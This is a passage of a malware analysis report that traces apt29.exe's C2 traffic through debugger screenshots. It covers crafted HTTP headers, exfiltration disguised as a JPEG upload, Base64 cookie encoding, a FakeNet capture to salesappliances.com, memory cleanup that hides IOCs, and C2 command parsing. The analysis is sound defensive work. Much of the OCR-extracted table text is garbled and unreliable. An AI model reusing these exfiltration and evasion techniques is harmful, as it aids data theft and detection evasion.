| EIP  | 0041CADE   | FF D2  |                                  | call edx   |  |  |   | edx:Ht                                    | Defau                    | ult (stdcall)   | -                                     | 5 😫 🗌 Unlock   |
| edx= <winine< th=""><th>ADE apt29.exe:\$1</th><th>HeadersA&gt; (716F)<br/>CADE #1BEDE</th><th>EAAO)</th><th></th><th></th><th></th><th></th><th></th><th>1:<br/>2:<br/>3:<br/>4:</th><th>[esp] 00CC000C<br/>[esp+4] 04A47C74 "<br/>[esp+8] FFFFFFF<br/>[esp+C] 20000000</th><th>Referer: http:</th><th>://salesapplia</th></winine<> | ADE apt29.exe:\$1  | HeadersA> (716F)<br>CADE #1BEDE  | EAAO)                            |  |  |  |   |   | 1:<br>2:<br>3:<br>4:     | [esp] 00CC000C<br>[esp+4] 04A47C74 "<br>[esp+8] FFFFFFF<br>[esp+C] 20000000 | Referer: http:                        | ://salesapplia |
| Ump 1  | Dump 2   | Dump 3 🛛 👹 Dump  | 4 🗱 Dump 5                       | 👹 Watch 1  | [x=] Locals  | 2 Struct   |   | 04A47B48 00<br>04A47B4C 04                | CC000C                   | "Referer: http:/  | /salesapplian                         | ces.com/ovz=1u |
| Address He   | ex   | 72 24 20 68 74   | 4170 24 25 2                     | ASCII  |  |  | ^ | 04A47B50 FF<br>04A47B54 20                | FFFFFF                   |   |                                       |                |
| 04A47C84 73<br>04A47C94 63   | 61 6C 65 73 61<br>3 6F 6D 2F 6F 76   | 70 70 6C 69 61<br>7A 3D 69 75 62   | 61 7A 00 68 F4                   | salesapplia<br>com/ovz=iub   | nces.<br>az.hô   |  |   | 04A47858 00<br>04A4785C 02<br>04A4785C 02 | 000007<br>880000         |   |                                       |                |

# Figure 39

The Accept-Language header is added to the HTTP request handle using HttpAddRequestHeadersA (0x20000000 = HTTP\_ADDREQ\_FLAG\_ADD):

|  | <ul> <li>0041CB1E</li> <li>0041CB26</li> <li>0041CB2E</li> <li>0041CB34</li> <li>0041CB38</li> <li>0041CB38</li> </ul> | C7 44 24 0C 00 0<br>C7 44 24 08 FF 1<br>SD 85 F4 FB FF 1<br>89 44 24 04<br>88 45 08<br>89 04 24 | 00 00 20<br>FF FF FF<br>FF | mov dword ptr<br>mov dword ptr<br>lea eax,dword<br>mov dword ptr<br>mov eax,dword<br>mov dword ptr | ss: esp+0<br>ss: esp+0<br>ss: esp+4<br>ss: esp+4<br>ss: esp+4<br>ss: esp+4<br>ss: esp+4 | ,20000000<br>,FFFFFFF<br>bp-40C<br>,eax<br>bp+8<br>eax |      | [esp+4                       | x875t<br>x875W<br>x875W<br>x875W | atusWord 0000<br>(_B 0 x87SW_C3<br>(_C1 0 x87SW_C4<br>(_SF 0 x87SW_P | 3 0 x875W_C2<br>0 0 x875W_E5<br>0 x875W_U | 0000 |            |
|--|--|---|----------------------------|--|---|--|------|------------------------------|----------------------------------|--|---|------|------------|
| EIP  | →• 0041CB3E  | FF D2   |                            | call edx   | 1100  |  |      | edx1Ht v                     | Default                          | (stdcall)  | •   | 5    | Curlod     |
| edx= <winine< th=""><th>B3E apt29.exe:\$</th><th>tHeadersA&gt; (716FEAA<br/>1CB3E #1BF3E</th><th>10)</th><th></th><th></th><th></th><th></th><th></th><th>1: [e<br/>2: [e<br/>3: [e<br/>4: [e</th><th>sp] 00CC000C<br/>sp+4] 04A48474<br/>sp+8] FFFFFFF<br/>sp+C] 20000000</th><th>"Accept-Langua</th><th>ige:</th><th>en-US, en"</th></winine<> | B3E apt29.exe:\$   | tHeadersA> (716FEAA<br>1CB3E #1BF3E   | 10)                        |  |   |  |      |                              | 1: [e<br>2: [e<br>3: [e<br>4: [e | sp] 00CC000C<br>sp+4] 04A48474<br>sp+8] FFFFFFF<br>sp+C] 20000000    | "Accept-Langua                            | ige: | en-US, en" |
| Dump 1   | Dump 2   | Dump 3 🔛 Dump 4   | Dump 5                     | 💮 Watch 1  | [x=] Locals   | 2 Struct   | 04   | 4A47B48 0000                 | 000C                             | "Accept-Languag  | e: en-US,en"                              |      |            |
| Address He   |  | 73 34 30 60 74 74   | 70 34 35 31                | ASCII  |   |  | ^ 04 | 4A47850 FFFF<br>4A47854 2000 | FFFF                             |  |   |      |            |

# Figure 40

The Accept-Encoding header is added to the HTTP request handle using HttpAddRequestHeadersA (0x20000000 = HTTP\_ADDREQ\_FLAG\_ADD):

| 0041CB38 88 45 08 mov dword ptr ss. cspra   | [esp+4                       | x875w_C1 0 x875w_C0 0 x875w_E5 0<br>x875w_SF 0 x875w_P 0 x875w_U 0   |
|---|------------------------------|--|
| SIP 0041CB9E FF D2 call edx   | edx:Ht v                     | Default (stdcall)  |
| edx= <wininet.httpaddrequestheadersa> (716FEAA0)<br/>.text:0041CB9E apt29.exe:\$1CB9E #18F9E</wininet.httpaddrequestheadersa> |                              | 11 [esp] 00CC000C<br>22 [esp+4] 04A48074 "Accept-Encoding: gzip, def<br>33 [esp+8] FFFFFFF<br>44 [esp+C] 2000000 |
| 💷 Dump 1 💷 Dump 2 💷 Dump 3 💷 Dump 4 💷 Dump 5 👹 Watch 1 💷 Locals 🖉 Struct  | 04A47B48 00C                 | 0000C<br>48074 "Accept-Encoding: gzip, deflate"  |
| Address Hex ASCII   | 04A47850 FFF<br>04A47854 200 | FFFF<br>00000  |

The encrypted buffer is added to a fake JPEG image (note the file signature in the network traffic) and transmitted to the C2 server without raising any suspicion:

| 00409FA6     89 54 24 10     mm     00409FAA     88 55 C4     mm     00409FA     00409FA     C7 44 24 08 FF FF FF     00409FB     00409FB     80 55 4 24 04     mm     00409FB     89 54 24 04     mm     00409FB     89 54 24 04     mm     00409FB     89 54 24 04     mm     00409FB   | ov dword ptr 55: [esp+10],edx<br>ov edx,dword ptr 55: [esp+20],edx<br>ov dword ptr 55: [esp+40],effFFFFF<br>a edx,dword ptr 55: [esp+40],edx<br>ov dword ptr 55: [esp+4],edx<br>ov dword ptr 55: [esp+4],edx  | x87TW_6 3 (Empty) x87TW_7 3 (Empty)<br>x87StatusWord 0000<br>x87SW_8 0 x87SW_C3 0 x87SW_C2 0<br>x87SW_C10 x87SW_C0 0 x87SW_E5 0<br>x87SW_55 0 x87SW_P 0 x87SW_U 0   |
|---|---|---|
|   | ec. (c  | Default (stdcall) To 5 🗘 Unlock   |
| ecx= <vininet.httpsendrequesta> (71739730)<br/>.text:00409FC6 apt29.exe:\$9FC6 #93C6</vininet.httpsendrequesta>   |   | 1: [esp] 00CC000C<br>2: [esp+8] 04A9184 "Content-Type: multipart/for<br>3: [esp+8] FFFFFFF<br>4: [esp+C] 02808528   |
| Ump 1 Ump 2 Ump 3 Ump 4 Ump 5   | Watch 1 [X=] Locals      Struct   | CC000C  <br>A49184 "Content-Type: multipart/form-data: boundar  |
| Address         Hex         Image: Constraint of the constrai | ASCII         04448890 fp           opPmingz ObvzZull         0448894 fp           11x., content-Dis         0448896 fp           position: form-d         0448896 fp           ata: name-"kedo"         0448882 fp           no.jpg"Conten         0448884 fp           10x/content-reme"         044882 fp           no.jpg"Conten         0448884 fp           10x/content-tream         0448882 fp           no.jpg"ypgia.jFT         0448886 fp           e-Encoding: bin         0448882 fp           0.ygia.jFT         0448886 fp           e-Encoding: bin         04448862 fp           0.j-S | FFFFF<br>BOS528<br>BOS528<br>BOS528<br>AAASFF "oplication/octet-stream"<br>AAASFF "application/octet-stream"<br>AAASFF "old<br>AAASFF<br>48880<br>3A0043<br>A4AJFB<br>44014<br>540054<br>550055<br>550055<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056<br>550056 |

# Figure 42

HttpOpenRequestA is utilized to create a new HTTP request handle. The HTTP method is set to GET (0x80480100 = INTERNET\_FLAG\_RELOAD |

# INTERNET\_FLAG\_KEEP\_CONNECTION | INTERNET\_FLAG\_NO\_COOKIES | INTERNET\_FLAG\_PRAGMA\_NOCACHE):

| ecx= <winin<br>.text:0043</winin<br> | 0043880<br>0043850<br>0043850<br>0043860<br>0043860<br>0043860<br>0043865<br>0043865<br>0043865<br>0043860<br>0043860<br>0043860<br>0043860<br>0043860<br>0043860<br>0043860<br>0043860<br>0043880<br>0043880<br>0043880<br>0043880<br>0043880<br>0043880<br>0043880<br>0043880<br>0043880<br>0043880<br>0043880<br>0043880<br>0043880<br>0043880<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>004380<br>0000000000 | C7 44 24 1C 00<br>C7 44 24 18 00<br>C7 44 24 18 00<br>C7 44 24 14 40<br>C7 44 24 10 00<br>89 54 24 08 01<br>S9 04 24<br>FF D1<br>S5tA> (71775BA0)<br>35884 #38F84 | 00 00 00 1<br>01 48 80<br>C2 43 00 1<br>00 00 00<br>00 00 00<br>0E 44 00 | mov dword ptr<br>mov dword ptr<br>mov dword ptr<br>mov dword ptr<br>mov dword ptr<br>mov dword ptr<br>mov dword ptr<br>call ecx | ss: esp+<br>ss: esp+<br>ss: esp+<br>ss: esp+<br>ss: esp+<br>ss: esp+<br>ss: esp | 10,0<br>15,80480100<br>14,80129.43<br>10,0<br>8,edx<br>4,edx<br>4,edx<br>4,edx | )<br>(C240<br>(EB1 | [word<br>[word<br>ecx:Ht<br>> | ×87<br>×87<br>×87<br>×87<br>×87<br>×87<br>×87<br>×87<br>×87<br>×87 | IM_4 S (EMPTY)<br>TW_6 3 (EMPTY)<br>StatuSWord 0000<br>SN_8 0 x875W_C3<br>SW_C1 0 x875W_C3<br>SW_C1 0 x875W_C9<br>SW_S5 0 x875W_P<br>Ut (stdcal)<br>(esp1 00cC0008<br>(esp+4) 00440E81<br>(esp+6) 0425C98<br>(esp+c) 0000000 | x8/1W_5 s (Empty<br>x87TW_7 3 (Empty<br>0 x875W_62 G<br>0 x875W_62 G<br>0 x875W_6 G<br>0 x875W_0 C<br>0 x875 | )<br>i 💽 🗆 Uniod |
|--------------------------------------|---|---|--|---|---|--|--------------------|-------------------------------|--|--|---|------------------|
| Ump 1                                | Dump 2  | Dump 3 Ump 4  | Dump 5   | 🛞 Watch 1   | [x=] Locals   | Struct   |                    | 049C9428 0<br>049C942C 0      | OCC0008<br>0440EB1   | GET"   |   |                  |
| Address   H                          | lex   |   |  | ASCII   | 1   |  | ^                  | 04909430 0                    | 49C9C9B  |  |   |                  |
| 049C9C9B 2                           |   | 00 00 00 00 00 00   | 00 00 00 00 00   | Ø   |   |  |                    | 04909438 0                    | 0000000  | 5  |   |                  |
| 049C9C8B 0                           | 0 00 00 00 00 00 00   | 00 00 00 00 00 00 00  | 0 00 00 00 00  |   |   |  |                    | 04909430 0                    | D43C240  | &"text/html"   |   |                  |
| 049C9CCB 0                           | 0 00 00 00 00 00  | 00 00 00 00 00 00   | 0 00 00 00 00  |   |   |  |                    | 04909444 0                    | 0000000  | 5  |   |                  |

# Figure 43

The file generates 256 random bytes via a function call to CryptGenRandom (the result will be Base64-encoded, and a small part of the output is used as a parameter in the Referer header):

|   | <ul> <li>0040D3D0</li> <li>0040D3D4</li> <li>0040D3DC</li> </ul> | 89 54 24 08<br>C7 44 24 04 00<br>89 04 24 | 01 00 00 mov dword pt<br>mov dword pt<br>mov dword pt | r ss: esp+<br>r ss: esp+<br>r ss: esp | 4,edx<br>eax |                           | x     | 875W_C1 0 x87<br>875W_SF 0 x87               | 7SW_CO 0 x87SW_ES<br>7SW_P 0 x87SW_U | 0              |
|---|--|---|---|---------------------------------------|--------------|---------------------------|-------|--|--------------------------------------|----------------|
| EIP   | → 004003DF   | FF D1                                     | call ecx  |                                       |              | ecxiCr                    | De    | fault (stdcall)                              |                                      | • 5 🗧 🗌 Unlock |
| ecx= <advap< th=""><th>132.CryptGenRand</th><th>om&gt; (73A61290)<br/>D3DF #C7DF</th><th></th><th></th><th></th><th></th><th>2</th><th>[esp+4] 0000<br/>[esp+8] 049C<br/>[esp+C] 0288</th><th>0100<br/>8393<br/>92C0</th><th></th></advap<> | 132.CryptGenRand   | om> (73A61290)<br>D3DF #C7DF              |   |                                       |              |                           | 2     | [esp+4] 0000<br>[esp+8] 049C<br>[esp+C] 0288 | 0100<br>8393<br>92C0                 |                |
| Ump 1   | Dump 2   | Dump 3 🛛 👯 Dump 4                         | Dump 5 🛛 🛞 Watch 1                                    | [x=] Locals                           | Struct       | 049C82A8 0.<br>049C82AC 0 | 28760 | F0<br>.00                                    |                                      |                |
| Address 14  | au lau   |   | ACCTT   |                                       |              | 104908280 0               | 49083 | 93   |                                      |                |

#### Figure 44

The Referer, Accept-Language and Accept-Encoding headers are set as described before. The encrypted buffer that was exfiltrated using one of the 3 methods is Base64-encoded:

| Address  | He | ĸ  |    |    | 2.11 |    |    |    |    |    |    |    |    |    |    |    | ASCII                       |
|----------|----|----|----|----|------|----|----|----|----|----|----|----|----|----|----|----|-----------------------------|
| 0289C010 | 43 | 45 | 30 | 4C | 38   | 41 | 79 | 6D | 4F | 62 | 53 | 35 | 67 | 4F | 6C | 74 | CEOL8AymObS5gOlt Figure 45  |
| 0289C020 | 56 | 78 | 45 | 30 | 75   | 4C | 46 | 58 | 71 | 2F | 69 | 47 | 34 | 2F | 77 | 52 | VxEOuLFXq/iG4/wR I Igule 45 |
| 0289C030 | 41 | 4B | 71 | 79 | 61   | 35 | 4D | 6F | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | АКqуа5Мо                    |

The Cookie header is set to a string that is obtained from the above using some transformations, and the request is sent to the C2 server, as shown in figure 46.



# Figure 46

Here is the network request captured by FakeNet:

| 09/19/21 07:09:53 AM [ Diverter]          | apt29.exe (296) requested TCP 10.1.1.1:8080                                  |
|---|--|
| 09/19/21 07:09:53 AM [ HTTPListener80]    | GET http://salesappliances.com/ HTTP/1.1                                     |
| 09/19/21 07:09:53 AM [ HTTPListener80]    | Accept: text/html, application/xml;q=0.9, image/png, image/gif, image/jpeg,  |
| <pre>image/x-bitmap, */*;q=0.1</pre>      |  |
| 09/19/21 07:09:53 AM [ HTTPListener80]    | Referer: http://salesappliances.com/eoz=azjab                                |
| 09/19/21 07:09:53 AM [ HTTPListener80]    | Accept-Language: en-US,en  |
| 09/19/21 07:09:53 AM [ HTTPListener80]    | Accept-Encoding: gzip, deflate   |
| 09/19/21 07:09:53 AM [ HTTPListener80]    | Cookie: CEO=L8AymObS5_gOltVxEOuLFXqz2iG4:z2=wRAKqya5:Mo                      |
| 09/19/21 07:09:53 AM [ HTTPListener80]    | User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, ] |
| ike Gecko) Chrome/47.0.2526.111 Safari/53 | 7.36   |
| 09/19/21 07:09:53 AM [ HTTPListener80]    | Host: salesappliances.com  |
| 09/19/21 07:09:53 AM [ HTTPListener80]    | Proxy-Connection: Keep-Alive   |
| 09/19/21 07:09:53 AM [ HTTPListener80]    | Pragma: no-cache   |
| 00/10/21 07.00.53 AM [ UTTPListener80]    |  |

# Figure 47

It's important to mention that the backdoor also performs a "cleaning" operation by freeing the memory in order to hide possible IOCs that could be extracted from it:

| EIP 00439D89                            | FF DO             | call eax                                 | eax:Ge |
|---|-------------------|--|--------|
| 00439D8B                                | 89 83 08 04 00 00 | mov dword ptr ds:[ebx+408],eax           | eax:Ge |
| 00439D91                                | 8B 45 9C          | mov eax, dword ptr ss: [ebp-64]          | eax:Ge |
| 00439D94                                | 89 04 24          | mov dword ptr ss:[esp],eax               | eax:Ge |
| 00439D97                                | E8 00 93 FC FF    | call <apt29.localfree></apt29.localfree> |        |
| 00439D9C                                | 83 EC 04          | sub esp,4                                |        |
| 00439D9F                                | 8B 45 98          | mov eax, dword ptr ss: [ebp-68]          | eax:Ge |
| 00439DA2                                | 89 04 24          | mov dword ptr ss:[esp],eax               | eax:Ge |
| 00439DA5                                | E8 F2 92 FC FF    | call <apt29.localfree></apt29.localfree> |        |
| 00439DAA                                | 83 EC 04          | sub esp,4                                |        |
| 00439DAD                                | 8B 45 A0          | mov eax, dword ptr ss:[ebp-60]           | eax:Ge |
| 00439DB0                                | 89 04 24          | mov dword ptr ss: esp], eax              | eax:Ge |
| 00439DB3                                | E8 E4 92 FC FF    | call <apt29.localfree></apt29.localfree> |        |
| 00439DB8                                | 83 EC 04          | sub esp,4                                |        |
| 00439DBB                                | 8B 45 94          | mov eax, dword ptr ss: [ebp-6C]          | eax:Ge |
| 00439DBE                                | 89 04 24          | mov dword ptr ss:[esp],eax               | eax:Ge |
| 00439DC1                                | E8 D6 92 FC FF    | call <apt29.localfree></apt29.localfree> |        |
| • |                   | and and t                                |        |
| <                                       |                   |  | >      |

#### Figure 48

The status code returned by the server is extracted and compared with 200 (0x20000013 = HTTP\_QUERY\_FLAG\_NUMBER | HTTP\_QUERY\_STATUS\_CODE):

| <ul> <li>00420C62</li> <li>C7 44 24 10 00 00 00 00</li> <li>00420C6A 80 55 80</li> <li>00420C6B 89 54 24 0C</li> <li>00420C71 80 55 70 FF FF</li> <li>00420C71 80 55 70 FF 00 00 00 00</li> </ul> | <pre>mov dword ptr ss: esp+10,0 lea edx,dword ptr ss: esp-60 mov dword ptr ss: esp-6, edx lea edx,dword ptr ss: esp-6, edx mov dword ptr ss: esp-6, edx</pre> | x875tatusWord 0000<br>x875W_B 0 x875W_C3 0 x875W_C2 0<br>x875W_C1 0 x875W_C2 0 x875W_E5 0 |
|---|---|---|
| 0042CC78     C7 44 24 04 13 00 00 20     0042CC83     89 04 24  | mov dword ptr ss: espi.eax  | x875W_SF 0 x875W_P 0 x875W_U 0  |
| EIG 0022CC66 FF D1<br>c<br>ecx= <wininet.httpqueryinfoa> (71724720)</wininet.httpqueryinfoa>  | call ecx  | CEXENT →     Default (stdcall)  |
| .text:0042CC86 apt29.exe:\$2CC86 #2C086   |   | 4: [esp+C]_049C96B0   |
| Ump 1 Ump 2 Ump 3 Ump 4 Ump 4   | 5 👹 Watch 1 🛛 🕸 I Locals 🖉 Struct 04  | 9C95C8 00CC000C<br>9C95CC 20000013  |
| Address Hex<br>049C96AC 00 00 00 04 00 00 00 00 00 00 00 00 00  | ASCII 00  | ISC95D0 049C96AC<br>ISC95D4 049C9680<br>ISC95D5 00000000                                  |
| E: 10   |   |   |

The malicious binary retrieves the size of the resource using the HttpQueryInfoA API (0x20000005 = HTTP\_QUERY\_FLAG\_NUMBER | HTTP\_QUERY\_CONTENT\_LENGTH):



#### Figure 50

There is a function call to InternetReadFile, which is utilized to read data received from the C2 server:

| 0042CDF7     0042CDF8     0042CDF8     0042CDFF     0042CDFF     0042CE03             | 89 4C 24 0C<br>89 54 24 08<br>89 74 24 04<br>89 04 24 | mov dword ptr ss: esp+C, ecx<br>mov dword ptr ss: esp+8, edx<br>mov dword ptr ss: esp+4, esi<br>mov dword ptr ss: esp; eax |  | X8/5W_E 0 X8/5W_CS 0 X8/5W_C2 0<br>X875W_C1 0 X875W_C0 0 X875W_E5 0<br>X875W_SF 0 X875W_P 0 X875W_U 0                   |  |  |  |  |  |
|---|---|--|--|---|--|--|--|--|--|
| ebx= <wininet.internetreadf<br>.text:0042CE06 apt29.exe:\$</wininet.internetreadf<br> | 11e> (71710F70)                                       | call eox   | ebx:1r v                                     | Default (stdcall) ▼ 5 € Unlod<br>1: [esp] 00CC000C<br>2: [esp+4] 02849388<br>3: [esp+4] 00000300<br>4: [esp+C] 049C9684 |  |  |  |  |  |
| Dump 1 Dump 2   | Dump 3 👹 Dump 4 👹 Dum                                 | D 5 🛞 Watch 1  x=  Locals 🤌 Struct   | 049C95C8 00C<br>049C95CC 028<br>049C95D0 000 | C000C<br>A9338<br>00030   |  |  |  |  |  |
| 028A9338 00 00 00 00 00 00  | 00 00 00 00 00 00 00 00 0                             | ASCI1  | ^ 049C95D4 049                               | C9684   |  |  |  |  |  |

#### Figure 51

The response from the C2 server is parsed, and the byte at position 0x1c (28 in decimal) is extracted. There is also a "checksum" of the 5th-8th bytes that is computed, and the result should match the first 4 bytes. We will describe each case depending on that particular byte.

**Byte = 0x11** – read the content of a file specified by the C2 server and compute the MD5 hash of it

The path of the %TEMP% directory is extracted using GetTempPathA:

|   | <ul> <li>00413218</li> <li>0041321C</li> </ul> | 00413218 50 push eax<br>0041321C 68 00 04 00 00 push 400 |   |          | x875W_5F 0 x875W_P 0 x875W_U 0 |   |              |  |  |  |
|---|--|--|---|----------|--------------------------------|---|--------------|--|--|--|
| EIP   | 00413221<br><                                  | ES DA DD FE FF   | call <apt29.gettemppat< th=""><th>hA&gt;</th><th>&gt;</th><th>Default (stdcall)</th><th>▼ 5 🗘 Unlock</th></apt29.gettemppat<> | hA>      | >                              | Default (stdcall)   | ▼ 5 🗘 Unlock |  |  |  |
| <apt29.get< th=""><th>TempPathA&gt;<br/>3221 apt29.exe:\$</th><th>:13221 #12621</th><th></th><th></th><th></th><th>2: [esp+4] 049CE3AB<br/>3: [esp+6] EF5FE2B4<br/>4: [esp+C] EF5FE2B4</th><th></th></apt29.get<> | TempPathA><br>3221 apt29.exe:\$                | :13221 #12621  |   |          |                                | 2: [esp+4] 049CE3AB<br>3: [esp+6] EF5FE2B4<br>4: [esp+C] EF5FE2B4 |              |  |  |  |
| Dump 1  | Ump 2  | Dump 3 💭 Dump 4 💭  | Dump 5 🛛 💮 Watch 1 🛛 🕼 🕬 🕅 🕅  | 2 Struct | 049C9548 000<br>049C954C 049   | 000400<br>9CE3AB  |              |  |  |  |

#### Figure 52

The path of the %TEMP% directory is converted to its long form by calling the GetLongPathNameA routine, as highlighted below:

|  | <ul> <li>00413243</li> <li>00413248</li> <li>00413249</li> </ul> | 3243         68 00 04 00 00         push 400           3248         51         push ecx         ecc           3249         52         push edx         edd |               |           |             | ecx:"c<br>edx:"c | x875W_C1 0 x875W_C0 0 x875W_E5 0<br>x875W_SF 0 x875W_P 0 x875W_U 0 |                                  |  |                             |                            |       |                      |
|--|--|--|---------------|-----------|-------------|------------------|--|----------------------------------|--|-----------------------------|----------------------------|-------|----------------------|
| EIP  | 0041324A   | FF DO  | •             | call eax  |             |                  | eax:Ge v   | Default                          | (stdcall)  |                             |                            | - 5   | Unloc                |
| eax= <kerne< th=""><th>el32.GetLongPath</th><th>NameA&gt; (76AA<br/>\$1324A #1264</th><th>42010)<br/>IA</th><th></th><th></th><th></th><th></th><th>1: [e<br/>2: [e<br/>3: [e<br/>4: [e</th><th>spj 049C8<br/>sp+4] 049<br/>sp+8] 000<br/>sp+C] EF5</th><th>CE3AB "C<br/>000400<br/>FE2B4</th><th>\Users\1<br/>:\\Users\1</th><th></th><th>AppData\\Loca</th></kerne<> | el32.GetLongPath   | NameA> (76AA<br>\$1324A #1264  | 42010)<br>IA  |           |             |                  |  | 1: [e<br>2: [e<br>3: [e<br>4: [e | spj 049C8<br>sp+4] 049<br>sp+8] 000<br>sp+C] EF5 | CE3AB "C<br>000400<br>FE2B4 | \Users\1<br>:\\Users\1     |       | AppData\\Loca        |
| Ump 1  | Dump 2   | 🗑 Dump 3 🛛 👹   | Dump 4 Dump 5 | 👹 Watch 1 | [x=] Locals | Struct           | 049C9548 0490<br>049C954C 0490                                     | CE3AB<br>CE3AB                   | "C:\\User  | s/                          | AppData\\LC<br>AppData\\LC | ocal\ | \Temp\\"<br>\Temp\\" |

#### Figure 53

GetCurrentDirectoryA is utilized to extract the current directory for the current process:

|   | <ul> <li>0041329A</li> <li>0041329B</li> </ul> | 50<br>68 00 04 00 00 | push eax<br>push 400               |                            | x875W_SF 0 x875W_P 0 x875W_U 0   |  |  |  |  |
|---|--|----------------------|------------------------------------|----------------------------|--|--|--|--|--|
| EIP   | →• <u>004132A0</u><br><                        | E8 67 13 01 00       | call sapt29. GetCurrentDirectoryA> | >                          | Default (stdcall)  |  |  |  |  |
| <apt29.get0< th=""><th>urrentDirectory</th><th>(A&gt;<br/>(132A0 #126A0</th><th></th><th></th><th>1: [csp14] 049CDFAB<br/>3: [csp+8] 00000005<br/>4: [csp+C] 049CE3AB "C:\\Users\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\</th></apt29.get0<> | urrentDirectory                                | (A><br>(132A0 #126A0 |                                    |                            | 1: [csp14] 049CDFAB<br>3: [csp+8] 00000005<br>4: [csp+C] 049CE3AB "C:\\Users\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ |  |  |  |  |
| Dump 1  | Dump 2   | Dump 3 📲 Dump 4 👹    | Dump 5 👹 Watch 1 🛛 🖉 Struct        | 049C9548 00<br>049C954C 04 | 000400<br>9CDFA8   |  |  |  |  |

The response from the C2 server is supposed to contain a file name, which is opened via a CreateFileA function call (0x80000000 = **GENERIC\_READ**, 0x1 = **FILE\_SHARE\_READ**, 0x3 = **OPEN\_EXISTING**, 0x80 = **FILE\_ATTRIBUTE\_NORMAL**):

| <ul> <li>00413300</li> <li>6A 00</li> <li>00413300</li> <li>68 80 00 00 00</li> <li>00413312</li> <li>6A 03</li> <li>00413314</li> <li>6A 00</li> <li>00413316</li> <li>68 00 00 00 80</li> <li>00413316</li> <li>68 00 00 00 80</li> <li>00413316</li> </ul>   | push 0<br>push 80<br>push 3<br>push 1<br>push 40000000<br>push dword ptr ss:[ebp-c]  | [ebp-c  | x875w_b s (Empty) x871w_7 s (Empty)<br>x875tatusWord 0000<br>x875w_B 0 x875w_C3 0 x875w_C2 0<br>x875w_C10 x875w_C0 0 x875w_ES 0<br>x875w_SF 0 x875w_P 0 x875w_U 0 |
|---|--|---|---|
| <pre>doc/ler() E8 53 38 00 00 </pre> <pre></pre>  | (a) (apt29.CreateF) (ex)   | >   | Default (stdcal)  |
| Jump 1         Jump 2         Jump 3         Jump 5         Jump 3         Jump 5         Jump 5< | Watch 1         k=lLocals         Struct         0452           ASCII           0493          0493          0493 <th>9538 0284<br/>953C 8000<br/>9540 0000<br/>9544 0000<br/>9548 0000<br/>9546 0000<br/>9540 0000</th> <th>9356 "test.txt"<br/>0000 0001<br/>0000 0003<br/>0000 0003</th> | 9538 0284<br>953C 8000<br>9540 0000<br>9544 0000<br>9548 0000<br>9546 0000<br>9540 0000 | 9356 "test.txt"<br>0000 0001<br>0000 0003<br>0000 0003  |

# Figure 55

The malware creates an unnamed file mapping object using the CreateFileMappingA API (0x8 = **PAGE\_WRITECOPY**):

